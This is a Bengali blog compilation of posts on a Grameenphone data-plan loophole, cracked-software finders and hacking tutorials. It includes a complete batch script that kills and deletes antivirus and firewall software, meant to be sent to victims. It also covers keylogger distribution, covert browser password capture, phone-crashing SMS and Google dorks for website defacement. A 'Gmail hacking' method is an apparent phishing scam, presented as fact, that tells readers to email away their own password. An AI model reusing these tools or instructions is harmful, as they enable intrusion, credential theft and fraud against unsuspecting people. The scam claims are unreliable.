হাল সময়ে আমরা সবাই বিভিন্ন ডিভাইসে নেট ব্যবহার করে থাকি যেমন- ডেস্কটপ পিসি, ট্যাবলয়েড ও মোবাইল ডিভাইসে। অবশ্য এই সকল ডিভাইসে নেট ব্যবহার করতে বিভিন্ন সার্ভিস প্রোভাইডারের নেট ব্যবহার করে থাকি যেমন- জিপি, রবি, বাংলালিংক, এয়ারটেল ইত্যাদি। যারা শহুরে এলাকাতে থাকেন তারা বিশেষত বাংলালায়ন, ওলো ও কিউবি সংযোগ ব্যবহার করে থাকেন। তবে এই কথা সত্যি যে, দেশের প্রায় ৮০% ব্যবহারকারী মোবাইল অপারেটরদের নেট সংযোগ ব্যবহার করে থাকেন।
 বর্তমানে সকল মোবাইল অপারেটরদের বিভিন্ন অাকর্ষনীয় ইন্টারনেট প্যাকেজ রয়েছে যেমন- প্রতিদিনের, মাসিক, সাপ্তাহিক, আনলিমিটেড এবং কয়েকটি ভলিউম প্যাক। আসলে মোবাইল কোম্পানীর এই সকল ইন্টারনেট প্যাকেজ মিলিয়ে প্রায় ২০ টির উপরে রয়েছে যা আমাদের মত ব্যবহারকারীদের মনে রাখা অনেকটা কষ্ট সাধ্য। তবে অনেকেই আনলিমিটেড কিংবা প্রিপেইড ভলিউম প্যাকেজ ব্যবহার করে থাকেন। আরেকটি ব্যাপার আমরা যে প্রোভাইডারের নেট সংযোগ ব্যবহার করি না কেন তা মূল্য হিসাবে অনেক বেশী। সহজভাবে বলা যায় যে, ইন্টারনেট ব্যবহার এখনো আমাদের নিকট সুলভ মূল্য হয়ে উঠেনি। যেমন- আপনি যদি প্রফেশনাল ইউজার হোক তাহলে ১/৩ গিগাবাইট শেষ করতে ৫ দিনের বেশী লাগবেনা।
উদাহরন হিসাবে বলছি- আমার নেটে বিভিন্ন লাইনের কাজ করতে হয় যেমন- ফ্রিল্যান্স সাইট, পিসিহেল্প লাইনে ব্লগ করা, নিজের কিছু সাইটে টপিস করা এবং ডাউনলোড করতে পূর্বে ১/৩ গিগাবাইট প্যাকেজ ৩ দিনের বেশী যেত না। পরিশেষে বাধ্য হয়ে এখন আনলিমিটেড সংযোগ ব্যবহার করছি। আবার আনলিমিটেড সংযোগ ব্যবহার করতে গিয়ে আরেক ঝামেলা যেমন- গ্রামীন ও রবিতে ৫ গিগাবাইট ব্যবহারের পর ডাউনলোড স্পীড কমে যায় (ফেয়ার ইউসেজ হিসাবে)। তবে আনলিমিটেড হিসাবে বাংলালিংক ও এয়ারটেল ভাল। কারন এখানে তেমন কোন ফেয়ার ইউসেজ পলিসী নাই। তবে এখানে রবি ও জিপি থেকে নেট স্পীড কিছুটা যেমন- ১০-১৫ KBPS কম থাকে।
মাসে মূলত নেট ব্যবহার করতে সর্বনিম্ন ৫০০/- চলে যায়। আমার মত যারা শিক্ষার্থী তাদের কাছে কিন্তু এই ৫০০/- টাকার মূল্য অনেক বেশী। কেননা, ৫০০/- দ্বারা হলের ৩ মাসের ভাড়া পরিশোধ করা যাবে। সেখানে অনেকে বলবেন যে, এত টাকা দিয়ে নেট ব্যবহারের কি প্রয়োজন আছে? অবশ্য যারা ফ্রিল্যান্স বা ইনকাম সাইটে কাজ করেন তাদের কাছে বিষয়টা অন্যরকম/মামুলী ব্যাপার!

বর্তমানে নেট স্পীডর দিক দিয়ে জিপি ও রবির সার্ভিস অনেক ভাল। তবে অন্য সকল অপারেটরদের তুলনায় এর খরচ বেশী।
আমি ও আমার বন্ধুরা রাজশাহীতে বাংলা লায়ন ব্যবহার করে থাকি পাশাপাশী জিপির বিভিন্ন সার্ভিস ব্যবহার করে থাকি।
আজকের পোস্টে জিপির একটি সার্ভিসের কথা বলব যেখানে আপনি আনলিমিটেড সব কিছু ডাউনলোড করতে পারবেন। এই টপিসটি আমি মাসে ২ বার ব্যবহার করে থাকি মূলত অনেক কিছু ডাউনলোড করার জন্য। আশা করি আপনাদেরও কাজে আসবে। এই সার্ভিসটি হযত অনেকে ব্যবহার করছেন কিংবা টপিসটি জানেন। তবে যারা এই টপিসটি জানেন না পোস্টটি শুধুমাত্র তাদের জন্য।
বর্তমানে গ্রামীনফোনের P4 Service টি আমাদের কাছ হতে দারুন সাড়া পেয়েছে। অনেকেই আজকাল Cyber-Cafe তে না গিয়ে সেই টাকা দিয়ে P4 Service চালাচ্ছে। কিন্তু যারা ডাউনলোড করতে ভালাবাসে তারা গ্রামীনফোনের এই অফারে পুরো সন্তুষ্ট নয় কারন এই অফারে আমাদের Limitation আছে এবং তা হল 150 MB.
কিন্তু অসন্তোষের বেলা আজ শেষ হতে চলেছে।এখন থেকে আপনারা P4 Service দিয়ে আনলিমিটেড ডাউনলোড করতে পারবেন। কি সেই জাদুকরী ট্রিক?? না না আসলে এটা কোনো ট্রিক নয়। আপনাকে কোনো কিছুই করতে হবে না। কেবল আপনি আপনার মত ডাউনলোড অথবা ব্রাউজ চালিয়ে যাবেন Limitation এর কথা ভাবার কোনো দরকারই নাই। দেখবেন 150 MB এর উপরে ডাউনলোড চলে গেলেও আপনার নেট Disconnect হবে না এবং ব্যালেন্স থেকেও অতিরিক্ত টাকা খরচ হবে না।
অবশ্য এই সার্ভিসটি আমি প্রায় ৪ মাসের বেশী সময় ধরে ব্যবহার করছি। যেমন- আজ আমি রাত 12:10 am এ P4 Service (গতকাল) Activate করে ডাউনলোড দিয়ে ঘুমিয়ে পড়েছি সকাল পর্যন্ত ডাউনলোড হয়েছে ৬৮৫ MB । এখনও ডাউনলোড চলছে এবং রাত 11:59 pm পর্যন্ত চলবে।
এর মধ্য কি রহস্য আছে?
আসলে  কি হয়েছিল জানেন, যখন এই অফারটি দেয়া হয় ঠিক শুরুর দিকে তখন একদিন আমি এই অফারটি Activate করে বেশ কিছু ডাউনলোড করি। তারপর হঠাৎ Limitation এর কথা মনে পড়ল। আমি কাষ্টমার কেয়ার-এ কল করলাম। তাদের কাছে আমি কতটুকু নেট ব্যবহার করেছি তা জানতে চাইলাম। তারা বলল তাদের জানার কোনো সিষ্টেম নেই। তখনই আমার মনে সন্দেহ সৃষ্টি হল। তারপর অনেকদিন চলে গেল। ইতিমধ্যেই আমার সকল বন্ধু একবার হলেও এই অফারটি চালিয়ে ফেলেছে। এবার তাদের কাছে জিজ্ঞাসা শুরু করলাম কারও Limitation Exceed এর জন্য নেট Disconnect করা হয়েছে কিনা। সবাই বলল তারা জানে না। ডাউনলোড ব্রাউজ করতে ককরতই নাকি সময় শেষ হয়ে গেছে। তাই আজ আমি আবার নেট নিয়ে ট্রাই করলাম এবং সিউর হলাম যে এই অফারের আসলে কোনো Limitation নাই। গ্রামীনফোন শুধু আমাদের এই কথা বলে ভয় দেখিয়ে রেখেছে যাতে (১৫০ মেগাবাইটের পর)  আমরা আবার পাগলের মত ডাউনলোড শুরু করতে না পারি। সুতরাং আপনিও আমাদের মত উক্ত সুযোগটি কাজে লাগাতে পারেন।
কি রকম খরচ আসবে-
র তেমন কোন খরচ নাই বললেই চলে! P4 Service টি সক্রিয় করতে আপনার মোবাইলে ভ্যাটসহ ৭০ টাকা থাকতে হবে। অতপর রাত ১২.০০ টার পর আপনার ফোনসেটের ম্যাসেজ অপশনে গিয়ে P4 লিখে ৫০০০ পাঠিয়ে দিন। সক্রিয় হলে একটি ম্যাসেজ পাবেন। ব্যাস তার তখন থেকে ডাউনলোড করা শুরু করে দিন > ডাউনলোড চলবে ১১.৫৯ PM পর্যন্ত ২৪ ঘন্টা সময়।
এই সার্ভিসটি আপনার ফোন কিংবা মডেম ডিভাইসে ব্যবহার করতে পারেন। আমি মডেম হিসাবে পিসিতে ব্যবহার করে এখানে ১ দিনে প্রায় ১.৫ জিবির বেশী ফাইল ডাউনলোড করে ফেলি। অবশ্য তার পূর্বে নোটে একটি ছক করে নিই কোন সাইট হতে কি ফাইল ডাউনলোড করব। অাসলে বিষয়টি অনেকটা রহস্যময় ও জোকস! মাত্র ৭০ টাকাতে প্রায় ৫০০ টাকার উপরের কাজ করতে পারছেন।
পরামর্শ-
এখনো P4 Service টি চালু করে উক্ত সুবিধাটি উপভোগ করতে পারবেন। তবে জিপি কোম্পানী যদি এই গোমর ফাসের কথাগুলো জেনে যাই অতপর তারা যদি এই সার্ভসটি বন্ধ করে দেন তাহলে তখন কোন কাজে আসবেনা উক্ত পদ্ধতি। আপনারা যারা মাসে ১ জিবি প্যাকেজ ৩৫০/- দ্বারা ব্যবহার করছেন। তারা ডাউনলোড না করে শুধুমাত্র সাইটগুলো ব্রাউজিং করলে ভাল হয়। এতে নেটের বিলের বা মেগাবাইটের অপচয় হবেনা। অতপর যখন ডাউনলোড করতে যাবেন তখন আলাদা একটি জিপি সীমে P4 Service টি সক্রিয় করে নিলেই হবে। অথবা ১ জিবি ভলিউম প্যাকেজ ক্রয় না করে ৩৫০/- সমান কিস্তিতে ৭০/-গড় হিসাবে মাসে P4 Service টি মাসের যে কোন ৫ দিন ব্যবহার করলেই প্রায় ৮ জিবির উপরে ডাউনলোড করতে পারবেন। আসলে বলা যায়- অনেকটা কৈ এর তৈলে কৈ ভাজা!
অবশ্য গ্রামীন ফোনের আরেকটি মজার অফার আছে তাহলো মাসে ৩০০/- (ভ্যাটসহ) বিনিময়ে P3 সার্ভিসটি সক্রিয় করতে পারবেন। এর সুবিধা হল রাত ১২টার পর থেকে সকাল ১০.০০টা পর্যন্ত পিসিতে নেট ব্যবহার করতে পারবেন। এখানে ৫ জিবি পর্যন্ত ডাউনলোডের সুযোগ পাবেন।

Craagle 4.0 ক্র্যাক/সিরিয়াল খোজার ওস্তাদ (পোর্টেবল 560 kb)

আজ আপনাদের জন্য এমন একটি সফ্টওয়্যার নিয়ে এসেছি; যা দিয়ে বিভিন্ন সফ্টওয়্যার এর ক্র্যাক বা সিরিয়াল খুজতে সহায়তা করবে।
কোন প্রকার ব্রাউজিং ছাড়াই এটা আপনার কাঙ্খিত সিরিয়াল বা ক্র্যাক খুজে দিবে। এটাতে প্রক্সি সাপোর্ট করবে।

অনেক গুলো সিরিয়াল সার্চ ইঞ্জিন থেকে এর সিরিয়াল গুলো খুজে বের করে দেবে সহজেই।
এটা ইনষ্টল করারও প্রয়োজন নাই ; শুধু এটা ব্যবহারের সময় এন্টিভাইরাস ডিসেবল করে রাখতে হবে। কারন অনেক এন্টিভাইরাস এটাকে ভাইরাস হিসেবে ডিটেক্ট করতে পারে ।


এটা Windows XP / Vista তে সাপর্ট করবে ; Win7 টেষ্ট করে দেখি নাই। আপনারা টেষ্ট করতে পারেন।
ডাউনলোড লিংক > http://www.mediafire.com/?v459hid8u4axn65

শনিবার, ৩০ জুন, ২০১২

Hacked all impute password in firefox without keylogger


Hacking Photo
There is a easy way to hacked any password in firefox without any keylogger or others big software.
Just Download this component and extract it.
Then copy and past (replace) in C:/> Programs files> Firefox> Component.
Different firefox version may few different.
That's OK.
Now if anyone impute any password in your firefox it's automatically saved.
To find this saved password click Tools> Options> Security> Save Password> Show Password.

শুক্রবার, ২০ এপ্রিল, ২০১২

ব্রাউজার এ সেভ করা পাসওয়ার্ড জেনে নিন ১ সেকেন্ডে

সবাইকে শুভেচ্ছা জানিয়ে শুরু করছি ।
আমরা অনেকে ব্রাউজার এ পাসওয়ার্ড সেভ করে রাখি ।
কিন্তু ব্রাউজারে এ সব পাসওয়ার্ড ****** দিয়ে শো করে । আজকে এ সব পাসওয়ার্ড জানার সহজ একটা উপায় বলব ।

প্রথমে সেভ পাসওয়ার্ড দেয়া ওয়েবপেজ এর Log In পেজ ওপেন করুন ।
তারপর আপনার ব্রাউজার এর এড্রেস বারে নিচের java script টি পেস্ট করে এন্টার চাপুন ।

এবার দেখুন Alert Box এ আপনার পাসওয়ার্ড টি দেখাচ্ছে ।

এভাবে আপনি যে কোন ওয়েবপেজ এর সেভ পাসওয়ার্ড জানতে পারবেন ।
কি খুব সহজ উপায় মনে হচ্ছে না ? ? ?

বুধবার, ৪ এপ্রিল, ২০১২

///// হ্যাক করুন AnTi-ViRuS \\\\\

আজ আপনাদের জন্য একটি মজার টিপস্ নিয়ে এসেছি ।।। আপনিও এবার আপনার ভিক্টিমের AnTi-ViRuS ডিজেবল করতে পারবেন ।।। এজন্য আমরা Batch program ব্যবহার করবো ।।।


নিচের কোডটি কপি করে নোডপ্যাড ওপেন করে পেস্ট করুন ।।।

ফাইলটি .bat extension এ সেভ করুন ।।।।


@ echo off
rem –
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
rem –

ফাইলটি ভিক্টিমের কাছে পাঠান …ভিক্টিম ফাইল এ ক্লিক করলেই কাজ শেষ ।

এটি আপনাকে হ্যাকিং এ প্রচুর সাহায্য করবে ।।।
বিশেষ করে কী লগার , ট্রোজান কে ভালো ভাবে কাজ করাতে antivirus ডিজেবল করা আবশ্যক ।

বোকাদের মতো নিজেই উক্ত ফাইলে ক্লিক কইরেন না ।।।
ভালো থাকুন , আজ এই পর্যন্তই ।।।।

মঙ্গলবার, ৩ এপ্রিল, ২০১২

সহজ উপায়ে পিসির ইউজার পাসওয়ার্ড হ্যাক

শুভ অপরাহ্ণ । আমার টিউনের শিরোনামটা হতে পারত ইউজার পাসওয়ার্ড পুনরুদ্ধার । কেউ যদি তার নিজের কম্পিউটারে এই পদ্ধতিটা ব্যবহার করেন সেক্ষেত্রে এই কথাটা প্রযোজ্য তবে কেউ যদি অপরের কম্পিউটারে এটা প্রয়োগ করেন তবে সেটা অবশ্যই হ্যাকিং এর আওতায় পড়ে কারন হ্যাকিং এর মুল সংজ্ঞাই হল অনুমতিহীন অনুপ্রবেশ । যাই হোক, কেউ যদি নিজের কম্পিউটারে দেয়া পাসওয়ার্ড ভুলে গিয়ে থাকেন বা কারো ইউজার পাসওয়ার্ড ভেঙ্গে তার পিসি এক্সেস করতে চান তবে নিচের এই সহজ ধাপগুলো অনুসরন করুনঃ

# আপনার পিসিকে Safe mode এ অন করুন । (Safe mode এ রান করাতে হলে পিসির সুইচ অন করে bios message প্রদর্শন করার পরে F8 বাটন চাপুন তারপর Menu থেকে Safe mode সিলেক্ট করে এন্টার চাপুন)।

# এবার Login Screen আসলে Administration সিলেক্ট করুন । এতে কম্পিউটারটি Safe mode এ চালু হবে ।

# এখন Start>Settings>Control panel এ ক্লিক করুন । নিচের মত উইন্ডো আসবে-

# User accounts এ ক্লিক করুন ।

# or pick an account to change এর নিচে user account(বা কোন নামও হতে পারে, এখানে mrkm…com আছে) সিলেক্ট করুন । তারপর-

# Remove password এ ক্লিক করুন । সর্বশেষ,

# Remove password এ ক্লিক করুন ।

এখন কম্পিউটারটি Restart করুন । দেখুন কোন রকম পাসওয়ার্ড ছাড়াই পিসি অন হয়ে গেছে ।

আপনি চাইলে পুরনো পাসওয়ার্ডটিও খুজে বের করতে পারেন যা Microsoft তার system32 ফোল্ডারের ভিতর সেভ করে রাখে তবে এজন্য আপনাকে প্রোগ্রামিং কোড সম্বন্ধে কিছু ধারনা থাকতে হবে। এ ব্যপারে আরেকটি টিউনে বিস্তারিত লিখব । আজ এ পর্যন্তই । ধন্যবাদ সবাইকে ।

মোবাইলে SMS পাঠিয়ে রিস্ট্রাট করে দিন বন্ধুদের মোবাইল!!!

আসুন শিখে ফেলি কিভাবে আপনি SMS পাঠিয়ে আপনার বন্ধুদের মোবাইল রিস্ট্রাট করে দিতে পারেন। এটা খুব। শুধু মাত্র নিচের কোড টি SMS করে পাঠিয়ে দিলেই ফোন রিস্ট্রাট হবে। এই জিনিসটা শুধু Nokia- 1110,1110i,1112,1100,2100 মডেলের হজ্যান্ডসেট গুলো রিস্ট্রাট দিতে পারে।

কোড
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

শুধু উপরে কোডটি এসএমএস করে পাথিয়ে দিন Nokia- 1110, 1110i, 1112, 1100, 2100 মডেলের নোকিয়া সেটের নাম্বারের।

আপনার মোবাইল থেকে এসএমএস পাঠেতে টাকা লাগবে, তাই আমি আপনাদের শিখিয়ে দিচ্ছি কিভাবে নেট থেকে ফ্রী এসএমএস পাঠানো যায়।

এখানে যান …http://uthsms.net/?on=sms

তারপর country bangladesh সিলেক্ট করেন আপনার বন্ধুর মোবাইল নাম্বার এসএমএস করুন। ।

সবাই ভাল থাকবেন…

শুক্রবার, ২৩ মার্চ, ২০১২

যে কোন পাসওয়ার্ড হ্যাক করুন দুর্দান্ত একটি হ্যাকিং কীলগার দিয়ে

সালাম সবাইকে আসা করি বেশ ভালো আছেন সবাই। আজ আমি আপনাদের একটা দুর্দান্ত হ্যাকিং সফটওয়্যার দিতে এলাম! যার মাধ্যমে আপনারা সহজে ফেসবুক বা অন্য যে কোন একাউন্ট এর পাসওয়ার্ড হ্যাক করতে পারবেন। এই সফটয়ার টা একটা keylogger কিন্তু খুব সহজ ভাবে ব্যবহার করা যাবে এবং এটি খুব ই কার্যকারী হ্যাকিং সফটওয়্যার। কীলগার এর কাজ হল আপনার শত্রু তার কম্পিউটার এর কীবোর্ড এর মাঝে যা কিছু টাইপ করবে সমস্থ তথ্য আপনার কাছে চলে আসবে। প্রথম কাজ হলো আপনাকে সফটয়ারটা download করতে হবে ।

সম্পূর্ণ ফ্রীতে মিডিয়া ফায়ার লিংক download করার জন্য এই লিঙ্কে ক্লিক করেন।

১। ডাউনলোড করার পর এক্সট্রাক্ট করলে আপনি একটা .exe ফাইল দেখতে পাবেন ঠিক সে ফাইল টা ওপেন করেন । (ওপেন করার আগে অবশ্যই antivirus বন্ধ করে নিন। এটা অবশ্য ভাইরাস না। কিন্তু এন্টিভাইরাসের বিশ্বাস নেই)

২। ডাউনলোড শেষ হলে এখন আপনার কাজ হলে কিভাবে keylogger build করবেন ভাবছেন?

৩। যদি করতে চান একবার স্ক্রীন শট টা দেখেন ।

৪। Build server এ ক্লিক করার পর আপনি ৩ টা ফাইল দেখতে পাবেন ছবির মত।

৫। তারপর এই ২ টা ফাইল আপনার ভিকটিম কে পাটিয়ে দেন যাকে আপনি হ্যাক করতে চান কিন্তু মনে রাখবেন ফাইল ২ টা পাটাবেন winrar এর মাধ্যমে ।

৬। এর পর আপনার ভিকটিম যদি এটাতে ক্লিক করে তাহলে তার type করা সব কিছু আপনার কাছে চলে আসবে।

এ্যাডভান্স হ্যাকিং! : ফেসবুক আইডি

****বি:দ্র: আমার এই ধারাবাহিক পোষ্টটি শুধু মাত্র শিখার উদ্দেশ্যে (For Education Purpose Only) এবং হ্যাকার দের হাত থেকে বাঁচার উপায় জানার উদ্দেশ্যে শেয়ার করা হয়েছে। এ পোষ্ট থেকে কিছু শিখে যদি তা ক্ষতিকর বা বেআইনি কাজে ব্যবহার করা হয় তবে আমি এবং এই ব্লগটি দায়ী থাকবে না।****

ফেসবুক আইডি হ্যাকিং (২য় পর্ব)

আমরা ফেসবুক ব্যবহার করি। অনেকেই জানেন না যে কত সহজে ফেসবুক আইডি হ্যাক করা যায়। তাই আপনার ফেসবুক আইডি সম্পর্কে সচেতন হউন। কিছু পদক্ষেপ অনুসরণ করলে আপনি আপনার ফেসবুক আইডিকে সহজে হ্যাকারদের হাত থেকে বাঁচাতে পারবেন।

ফেসবুক আইডি হ্যাকিং করার জন্য সবচেয়ে সহজ উপায় হল প্রাইমারি ইমেইল হ্যাকিং। আমি যেহেতু সহজ থেকে কঠিন এ যাব তাই সহজ উপায় দিয়েই শুরু করছি।>>>>>>>>>

প্রাইমারী ইমেইল: (২য় পর্ব)

যেকারো ফেসবুক আইডিতে দেখবেন এক বা একাধিক ইমেইল আইডি বিদ্যমান। এখন আমরা যদি প্রাইমারী ইমেইলটি (একাধিক ইমেইল এর মধ্যে প্রথমটি) হ্যাক করতে পারি তাহলে খুবই সহজে ওই ফেসবুক আইডি টি হ্যাক করতে পারব।

এখন প্রাইমারী ইমেইলটি যদি জিমেইল এর হয় তবে নিচের পদ্ধতি অনুসরণ করে ওই জিমেইল আইডিটি হ্যাক করতে পারবেন।

(এই পোষ্টটি পড়ে একই সাথে ফেসবুক এবং জিমেইলআইডি দুটোই হ্যাক করতে পারবো)

এজন্য আপনার নিজের একটি জিমেইলমেইল আইডি থাকতে হবে এবং সেটি অবশ্যই ৩০দিনের বেশি ব্যবহার করা মানে ৩০দিনের আগে খুলতে হবে / ৩০দিনের বেশি পুরাতন আইডি।

স্টেপ:

*প্রথমে আপনি আপনার নিজের জিমেইল আইডিতে প্রবেশ করুন।

*কম্পোজ ইমেইল এ ক্লিক করুন। কম্পোজ ইমেইল পেজ টি আসবে।

*এখন একটি ইমেইল আপনাকে পাঠাতে হবে জিমেইল স্টাফদের কাছে।

* To: অপশনে লিখুন ppwdmaster@gmail.com এটি জিমেইল স্টাফদের ইমেইল আইডি।

* Subject : অপশনে হুবহু লিখুন ” PASSWORD RECOVERY ” (কমা চিহ্ন সহ)। CC & BCC অপশনটি খালি রাখুন।

* এখন ম্যসেজ এর বডি তে আসুন। ম্যাসেজ এর বডির প্রথম লাইনে আপনি যে জিমেইল আইডি’টি হ্যাক করতে চান সেটি লিখুন।

দ্বিতীয় লাইনে আপনি যেই জিমেইল আইডিটি ব্যবহার করছেন সেটি লিখুন।

তৃতীয় লাইনে আপনার আইডির পাসওর্য়াডটি লিখুন। আমি গ্যারান্টি দিচ্ছি যে আপনার পাসওর্য়াড চুরি হবে না।
(The computer needs your own Gmail ID password so it can send a JavaScript from your account in the Yahoo! Server to extract the other email addresses password. In other word the system automatically checks your password to confirm the integrity of your status. THE PROCESS WILL BE DONE AUTOMATICALLY BY THE USER ADMISISTRATION SERVER.)

সর্বশেষে ৪র্থ লাইনে নিচের কোডটি ডাউনলোড করে হুবহু লিখুন অথবা কপি -পেষ্ট করে নিন:

http://www.ziddu.com/download/18670131/GmailIDHackingCode.txt.html

সরাসরি কোডটি দেওয়া যাচ্ছে না। সরাসরি কোডটি দিলে সম্পূর্ণ কোডটি প্রদর্শন করছে না। তাই বাধ্য হয়ে ডাউনলোড লিংক এ দিতে হল।

এখন ইমেইলটি সেন্ড করুন।

আপনাদের সুবিধার্তে কাজটি আবারো দেখানো হল সহজ উপায়ে:

ধরুন আপনার জিমেইল আইডি টি হল 3xm@gmail.com এবং আপনার আইডির পাসওর্য়াড হল 123456 এবং যেই জিমেইল টি হ্যাক করতে চান সেটি হল ak47@gmail.com

তাহলে এভাবে ইমেইলটি কম্পোজ করুন:

****************************************************

To: ppwdmaster@gmail.com

Cc:
Bcc:

Subject: ” PASSWORD RECOVERY ”

***********(BODY)************

ak47@gmail.com
3xm@gmail.com
123456
(((((((((((((((The Downloaded Code))))))))))))))))))

এখন মেইলটি সেন্ড করুন।

এর কিছুক্ষণ পর আপনার জিমেইল আইডিতে একটি মেইল আসবে যার বিষয় হবে “System Reg Message” from “System”

এই মেইলটিতে আপনি আপনার ভিকটিম এর পাসওর্য়াডটি পেয়ে যাবেন! কত সহজ! তাই না>>>

এখন যেহেতু আপনি ওই আইডির প্রাইমারী ইমেইল এর পাসওর্য়াডটি পেয়ে গেছেন এখন সহজ ভাবে হ্যাকটি হয়ে যাবে।

ফেসবুক এ প্রবেশ করুন। কোন আইডি লগ-ইন করা থাকলে লগ-আউট করুন। এবার “forgot password?” অপশনে ক্লিক করুন। পরের পেজ এ ওই আইডির প্রাইমারী ইমেইল (যেটি হ্যাক করলেন) সেটি লিখুন। পরের পেজ এ সেন্ড অপশনে চাপুন।

এখন ওই ইমেইল এ প্রবেশ করে ফেসবুক পাসওর্য়াড পরিবর্তন নামক একটি মেইল আসবে। আপনি চাইলে সেখান থেকে সরাসরি লিংক এ ক্লিক করতে পারেন অথবা কনফার্রমেশন কোডটি ওই ফেসবুক পেজ এ কপি-পেষ্ট করুন।

এরপর আপনার কাছে নতুন পাসওর্য়াড চাওয়া হবে। নতুন পাসওর্য়াডটি দুবার লিখে ওই আইডিটির পাসওর্য়াড পরিবর্তন করে ওই ফেসবুক আইডিতে ঢুকে পড়-ন! এখন আপনি প্রোফাইল এ গিয়ে বর্তমান প্রাইমারী ইমেইলটি ডিলেট করে নতুন একটি মেইল যোগ করুন। হ্যাকিং সুসম্পন্ন! ওই আইডি টি এখন আপনার!

এখানে লক্ষ্য করুন, আপনি চাইলে ইমেইলটিরও পাসওর্য়াড পরিবর্তন করতে পারেন। তবে আপনি যদি ওই ব্যাটা/বেটি কে জানতে না দেন যে কে/কারা তার আইডি হ্যাক করেছে তাহলে ইমেইলটির পাসওর্য়াড পরিবর্তন করার দরকার নেই।

একইভাবে প্রাইমারী ইমেইলটি যদি হটমেইল এর হয় তবে>>>>>>>>>>>>>!!!!!!!!!

সামনের পর্বে হটমেইল আইডি হ্যাকিং নিয়ে পোষ্ট করা হবে। সবাইকে আমন্ত্রণ রইল।

(আমি উল্লেখিত পদ্ধতিটি (ইমেইল হ্যাকিং) কমপক্ষে ১২/১৩ বার ট্রাই করেছি এবং ২ বার সফল হয়েছে। তাই আপনি যদি প্রথম বারে না পারেন তবে চেষ্টা করতে থাকুন)

ভাই আমার মডেম জিপি পি১ সার্ভিস এ চলে। আর এটার স্পিড যে কত “ফাষ্ট”(!!) তা ত জানেনই। তাই ক্রিনশট দিতে পারলাম না।

আজকের হ্যাকিং ক্লাশ এখানেই সমাপ্ত

লাইভ হ্যাকিং টিটোরিয়াল (ওয়েব সাইট ডিফেস করুন) – নগদে ওয়েব সাইট হ্যাক করে দেখাবো + শিখাবো

আমি জানি অনেকেই আমারে পাইলে মাইর দিবে কারন অনেক দিন যাবত হ্যাকিং ক্লাস শুরু করাবো বলেও করাচ্ছি না। কারন একটাই বেকার মানুশ ব্যস্ত বেশী থাকি :p তবে পোলাপানের পরিক্ষা শেষ হবার সাথে সাথে আমি ক্লাস শুরু করব কথা দিলাম। আপনাদের পরিক্ষা শেষ কবে জানান আমাকে। আজকে দেখবো একদম লাইভ একটা হ্যাকিং। অনেক সময় আমরা দেখি ডিফেস করা ওয়েব সাইট। মানে অনেকিই ইন্ডেক্স পেজ ডিফেস করে না। site.com/example.html এভাবে ডিফেস করে। মানে আমার নিজের একটা ডিফেস পেজ ঐ সাইটে ঢুকায়া দেয়া আরকি। এইটুকূ ত জানেন ই তাই না? নয়ত কি আর হ্যাকিং পোস্ট এ ঘুরতে আসছেন? লল,

হ্যাকিং শুরু করুন

১। Google.com এ গিয়ে নিচের Dork টি লিখুন
inurl:admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html
অথবা

nurl:Powered By OpenCart

